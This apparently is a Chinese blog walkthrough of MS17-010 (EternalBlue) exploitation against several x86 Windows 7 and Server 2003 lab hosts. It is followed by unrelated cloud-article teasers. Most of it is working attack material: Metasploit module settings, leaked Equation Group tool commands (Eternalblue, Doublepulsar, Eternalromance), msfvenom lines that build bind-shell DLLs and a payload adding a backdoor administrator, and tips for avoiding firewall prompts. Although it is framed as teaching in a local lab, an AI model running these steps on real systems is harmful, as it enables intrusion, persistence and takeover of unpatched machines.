抄个冷板凳---x86架构MS-17010漏洞的多重利用方法

简介: x86架构永恒之蓝漏洞的多重利用复现演示

前言:

此次共涉及5个不同版本的x86架构的主机:

Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

Windows 7 企业版6.1(7600)--- 192.168.50.188

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

Windows 7 家庭版6.1(7601) --- 192.168.50.76


众所周知,msfconsole是一款神器的工具,里面具备了市面上绝大多数的payload,而在往常的ms17010漏洞最常见的四个payload如下:

漏洞检测payload:

auxiliary/scanner/smb/smb_ms17_010

x64架构漏洞利用payload:

msfconsole的exploit/windows/smb/ms17_010_eternalblue

x86架构漏洞利用payload:

exploit/windows/smb/ms17_010_psexec

x86/x64架构漏洞探测payload:

auxiliary/admin/smb/ms17_010_command  


以上payload为msfconsole自带的脚本,但是某些时候这几种payload都不是很适用的时候,可能就需要我们去另辟蹊径了,所以今天笔者为大家带来了几种好用的解决方案,本次环境均为本地搭建,仅作为实验教学使用


Windows 7 家庭高级版6.1(7600)- -- 192.168.50.188


首先我们看一下第一台试验目标的systeminfo信息

图片.png

图片.png

图片.png

我们可以先利用auxiliary/scanner/smb/smb_ms17_010 进行探测

图片.png

可以确定,ms17010是存在的,接着我们尝试一下msfconsole的exploit/windows/smb/ms17_010_eternalblue

图片.png

此时提示,由于该模块的payload仅仅适用于x64架构,所以无法进行攻击,那么我们可以尝试下下一个

图片.png

可以看见,攻击失败了,我们尝试下一个

auxiliary/admin/smb/ms17_010_command  

图片.png

依然是失败,那么此时,漏洞明确存在的情况下,我们应该如何对目标系统进行测试?

这里介绍一款工具,该工具为影子经纪人在2017年放出来的方程式工具,目前该工具依然可以从github下载,同样的adb123表哥也做了一个图形化的工具

链接: [https://github.com/abc123info/EquationToolsGUI](https://github.com/abc123info/EquationToolsGUI)

这里先不使用工具,因为笔者在测试的时候发现工具可能存在一点bug,所以这里首先使用原版的工具进行演示

该工具需要在x86架构的机器使用,并且需要安装2.6.6d python以及pywin32-221.win32-py2.6 ,安装教程请自行百度

方程式上线:

fb.py

use Smbtouch

set TargetIp 192.168.50.165

execute

图片.png

Smbtouch模块为漏洞检测模块,可以看到,成功的检测出了永恒之蓝漏洞;接着直接进行漏洞利用

use Eternalblue

图片.png

图片.png

一路默认即可,如果发现targetip不对,可以set一下

图片.png

而后进行dou模块,该模块是用来下攻击脚本的

use Doublepulsar

图片.png

前面都是默认,需要注意的是,在Function这里的时候,需要选择RunDLL选项,Eternalblue漏洞模块不需要下shellcode.bin后门

图片.png

该工具不能直接获取shell,所以需要其他的shell加载器对shell进行加载,同时,该工具漏洞利用方式为dll注入,所以需要注意系统的架构以及注入的进程,经过测试,若是windows7系统x86架构,注入lsass.exe的话,主机会在1分钟后重启,导致shell不上线或者丢失,同那个样的,正向连接马子在方程式工具中,是可以开启目标机器监听端口,但是会被rundll32.exe检测到,防火墙会进行拦截,导致即使开放了监听端口而无法上线的情况;

我们首先看一下正向连接小马,至于为什么用正向,因为在内网环境了,有的时候客户的机器是不出网的,如果使用反向小马,是不可能shell回连的

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

将生成的x86.dll文件移动到方程式攻击的设备上,而后设置好上传dll的路径

图片.png

同时,msf开启监听

图片.png

图片.png

而后目标设备就要重启了,同时dll注入成功,端口1003被开放

图片.png

可以看见,虽然端口开放了,但是并没有上线,因为防火墙给拦住了,后续大家可以看到为什么会被拦截

图片.png

换一个打法

msfvenom -p windows/exec CMD='cmd.exe /k "net user admin01 123456 /add && net localgroup administrators admin01 /add"' EXITFUNC=none -f dll > /tmp/x86_xxx.dll

这个payload的目的是创建用户,这样即使是上不了线,但是可以创建用户,或者执行其他命令,这里创建用户是因为简单,大家在实际应用当中很有可能会遇到3389没有开放的情况,这个时候就需要替换命令,或者是利用创建的新用户,通过smb协议去弹计划任务上线,或者利用impacket工具上线

图片.png

图片.png

攻击之前

图片.png

攻击之后

图片.png

图片.png

可以看到,即便计算机重启了,但是用户依然创建成功了,所以大家在工作的时候要慎用,以免影响客户正常业务

如果我们将注入的进行修改为explorer.exe呢

图片.png

此时并没有达到上线目的,别急,清先往下看

kali上线

kali安装wine32

apt-get install wine32

报错了就执行下一个

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

检测安装状态:

wine --version

wine cmd.exe

图片.png

下载专用攻击模块

git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit

下载下来之后解压,并执行如下命令

cd Eternalblue-Doublepulsar-Metasploit/

将下载的模块导入到msf的文件夹

cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb

图片.png

确保deps目录不能空,一会要用

msfconsole

search eternalblue  

use 0

图片.png

set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps

set PROCESSINJECT explorer.exe

set TARGETARCHITECTURE  x86

set rhost 192.168.50.165

图片.png

run

图片.png

这里其实就是防火墙拦截了,如果不允许,端口会开放成功,但是kali却怎么也连不上

同意之后,才可以连接shell,

有可能第一次run会失败,目标机器可能会弹explorer.exe信息,不用理会,重新run就行

图片.png

图片.png

至此,第一台结束,我们看一下第二台

Windows 7 家庭高级版6.1(7601)- -- 192.168.50.38

图片.png

图片.png

图片.png

其实这台机器和第一台几乎没有任何区别,只不过多了几个补丁,这里用他的目的是为了演示,如果我们拒绝了rundll32.exe的网络请求,会怎么样

这里我们可以继续利用kali,然后假设我们不允许rundll32.exe,点击取消按钮,我们此时发现,端口依然会开放10001,但是kali死活连接不上去

图片.png

图片.png

但是如果此时,将payload改回反向连接

set payload windows/meterpreter/reverse_tcp

run

图片.png

由于第一台与第二台没啥区别,仅仅是为了演示如何不触发弹窗上线,所以不演示fb工具


Windows 7 企业版6.1(7600)--- 192.168.50.188

首先使用fb工具(方程式工具)进行攻击,但是我们发现,无论怎么打都是失败

图片.png

而后利用msf工具的dou模块进行攻击,方式与第一台步骤是一样的

正向连接,一样会导致目标机器弹窗,我们直接关闭即可,不给他权限

图片.png

图片.png

而后是msf反向打,反向打是不会告警的,上线成功

图片.png

该机器演示的目的,是为了告诉大家,方程式工具只能检测到ms17010漏洞,但是无法攻击成功的时候,我们可以利用我们第一个方法来拿到shell,由此可见,msfconsole攻击模块似乎更加好用

WindowsServer 2003 5.2(3790) sp2--- 192.168.50.199

图片.png

图片.png

该机器与win7 x86明显有差异,1-3实验,Doublepulsar模块都可以利用成功,但是针对这台windows server 2003而言,却攻击失败了

图片.png

但是此环境方程式工具却可以利用成功

图片.png

此时永恒之蓝就不好使了,上其他的科技与狠活

use Doublepulsar

生成shellcode.bin后门

前面所有的都是默认的

图片.png

然后选择0,OutputInstall ,并设置路径,这里路径设置成 c:\temp\shellcode.bin

图片.png

执行成功后,会在该路径下成功一个shellcode.bin文件,该文件为后门文件

图片.png


use ETERNALROMANCE


该模块是用来进行漏洞利用,将生成的shellcode.bin文件打到目标系统里

图片.png

图片.png

图片.png

只需要填写shellcode.bin文件的位置即可

图片.png

其余的通通默认即可

图片.png

use Doublepulsar 攻击

图片.png

图片.png

这里填写生成的正向连接的x86.dll文件路径,这个文件与上文的都是同一个

图片.png

图片.png

msf上线

use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.199

run

图片.png

我们可以发现,这里使用正向连接,目标机器不会触发告警,防火墙不会拦截,直接上线,且不需要修改explorer.exe注入进程,设备也不会重启、蓝屏


该实验可以用kali的另一种玩法


search ms17

use 1

set payload payload windows/meterpreter/bind_tcp

set rhost 192.168.50.199

图片.png

run


图片.png

最高权限

图片.png

Windows 7 家庭版6.1(7601) --- 192.168.50.76

图片.png

图片.png

图片.png

没有发现17010相关漏洞

图片.png

图片.png

最后针对windows server 2003 sp2 x86的实验目标,演示一下abc123表哥的神器,解放双手

图片.png

使用正向payload设置x86.dll 小马

msfvenom -p windows/meterpreter/bind_tcp LPORT=1003 -f dll > x86.dll

图片.png

使用msfconsole正向监听


use exploit/multi/handler

set payload windows/meterpreter/bind_tcp

set lport 1003

set rhost 192.168.50.205

run

图片.png

将生成的x86.dll文件存放在图形化工具的根目录下,并将原有的x86.dll重命名

图片.png

先点击生成bin,而后点击漏洞利用,最后点击dll注入


图片.png

攻击成功后,发现msf上线

图片.png


相关文章
|
11月前
|
存储 机器学习/深度学习 数据库
阿里云服务器X86/ARM/GPU/裸金属/超算五大架构技术特点、场景适配参考
在云计算技术飞速发展的当下,云计算已经渗透到各个行业,成为企业数字化转型的关键驱动力。选择合适的云服务器架构对于提升业务效率、降低成本至关重要。阿里云提供了多样化的云服务器架构选择,包括X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器以及高性能计算等。本文将深入解析这些架构的特点、优势及适用场景,以供大家了解和选择参考。
1458 61
|
10月前
|
缓存 负载均衡 监控
微服务架构下的电商API接口设计:策略、方法与实战案例
本文探讨了微服务架构下的电商API接口设计,旨在打造高效、灵活与可扩展的电商系统。通过服务拆分(如商品、订单、支付等模块)和标准化设计(RESTful或GraphQL风格),确保接口一致性与易用性。同时,采用缓存策略、负载均衡及限流技术优化性能,并借助Prometheus等工具实现监控与日志管理。微服务架构的优势在于支持敏捷开发、高并发处理和独立部署,满足电商业务快速迭代需求。未来,电商API设计将向智能化与安全化方向发展。
550 102
|
12月前
|
存储 机器学习/深度学习 算法
阿里云X86/ARM/GPU/裸金属/超算等五大服务器架构技术特点、场景适配与选型策略
在我们选购阿里云服务器的时候,云服务器架构有X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器、高性能计算可选,有的用户并不清楚他们之间有何区别。本文将深入解析这些架构的特点、优势及适用场景,帮助用户更好地根据实际需求做出选择。
|
存储 机器学习/深度学习 应用服务中间件
阿里云服务器架构解析:从X86到高性能计算、异构计算等不同架构性能、适用场景及选择参考
当我们准备选购阿里云服务器时,阿里云提供了X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器以及高性能计算等多种架构,每种架构都有其独特的特点和适用场景。本文将详细解析这些架构的区别,探讨它们的主要特点和适用场景,并为用户提供选择云服务器架构的全面指南。
1219 18
|
自然语言处理 算法 JavaScript
面向长文本的多模型协作摘要架构:多LLM文本摘要方法
多LLM摘要框架通过生成和评估两个步骤处理长文档,支持集中式和分散式两种策略。每个LLM独立生成文本摘要,集中式方法由单一LLM评估并选择最佳摘要,而分散式方法则由多个LLM共同评估,达成共识。论文提出两阶段流程:先分块摘要,再汇总生成最终摘要。实验结果显示,多LLM框架显著优于单LLM基准,性能提升最高达3倍,且仅需少量LLM和一轮生成评估即可获得显著效果。
812 10
面向长文本的多模型协作摘要架构:多LLM文本摘要方法
|
机器学习/深度学习 人工智能 NoSQL
记忆层增强的 Transformer 架构:通过可训练键值存储提升 LLM 性能的创新方法
Meta研究团队开发的记忆层技术通过替换Transformer中的前馈网络(FFN),显著提升了大语言模型的性能。记忆层使用可训练的固定键值对,规模达百万级别,仅计算最相似的前k个键值,优化了计算效率。实验显示,记忆层使模型在事实准确性上提升超100%,且在代码生成和通用知识领域表现优异,媲美4倍计算资源训练的传统模型。这一创新对下一代AI架构的发展具有重要意义。
913 11
记忆层增强的 Transformer 架构:通过可训练键值存储提升 LLM 性能的创新方法
|
JSON 数据格式 Python
X86架构属于国产化架构吗
在信息时代,处理器架构至关重要。本文通过简单流程和代码示例,帮助初学者理解X86架构是否属于国产化架构。首先明确国产化架构指本土研发的处理器架构,如龙芯、飞腾等。X86架构由Intel设计,主要由外资公司开发,通常不被视为国产架构。文章提供了一个判断X86架构是否国产化的流程图,并用Python代码实现判断过程。Architecture类描述架构来源和类型,App类负责获取和判定架构信息。通过这些步骤,初学者可以更好地掌握相关知识并提升开发技能。
1228 5
|
机器学习/深度学习 算法 数据可视化
基于深度混合架构的智能量化交易系统研究: 融合SSDA与LSTM自编码器的特征提取与决策优化方法
本文探讨了在量化交易中结合时序特征和静态特征的混合建模方法。通过整合堆叠稀疏降噪自编码器(SSDA)和基于LSTM的自编码器(LSTM-AE),构建了一个能够全面捕捉市场动态特性的交易系统。SSDA通过降噪技术提取股票数据的鲁棒表示,LSTM-AE则专注于捕捉市场的时序依赖关系。系统采用A2C算法进行强化学习,通过多维度的奖励计算机制,实现了在可接受的风险水平下最大化收益的目标。实验结果显示,该系统在不同波动特征的股票上表现出差异化的适应能力,特别是在存在明确市场趋势的情况下,决策准确性较高。
682 5
基于深度混合架构的智能量化交易系统研究: 融合SSDA与LSTM自编码器的特征提取与决策优化方法
|
机器学习/深度学习 弹性计算 人工智能
阿里云服务器ECS架构区别及选择参考:X86计算、ARM计算等架构介绍
在我们选购阿里云服务器的时候,云服务器架构有X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器、高性能计算可选,有的用户并不清楚他们之间有何区别,本文主要简单介绍下这些架构各自的主要性能及适用场景,以便大家了解不同类型的架构有何不同,主要特点及适用场景有哪些。
2011 10
|
机器学习/深度学习 算法 文件存储
神经架构搜索:自动化设计神经网络的方法
在人工智能(AI)和深度学习(Deep Learning)快速发展的背景下,神经网络架构的设计已成为一个日益复杂而关键的任务。传统上,研究人员和工程师需要通过经验和反复试验来手动设计神经网络,耗费大量时间和计算资源。随着模型规模的不断扩大,这种方法显得愈加低效和不够灵活。为了解决这一挑战,神经架构搜索(Neural Architecture Search,NAS)应运而生,成为自动化设计神经网络的重要工具。

热门文章

最新文章

下一篇
开通oss服务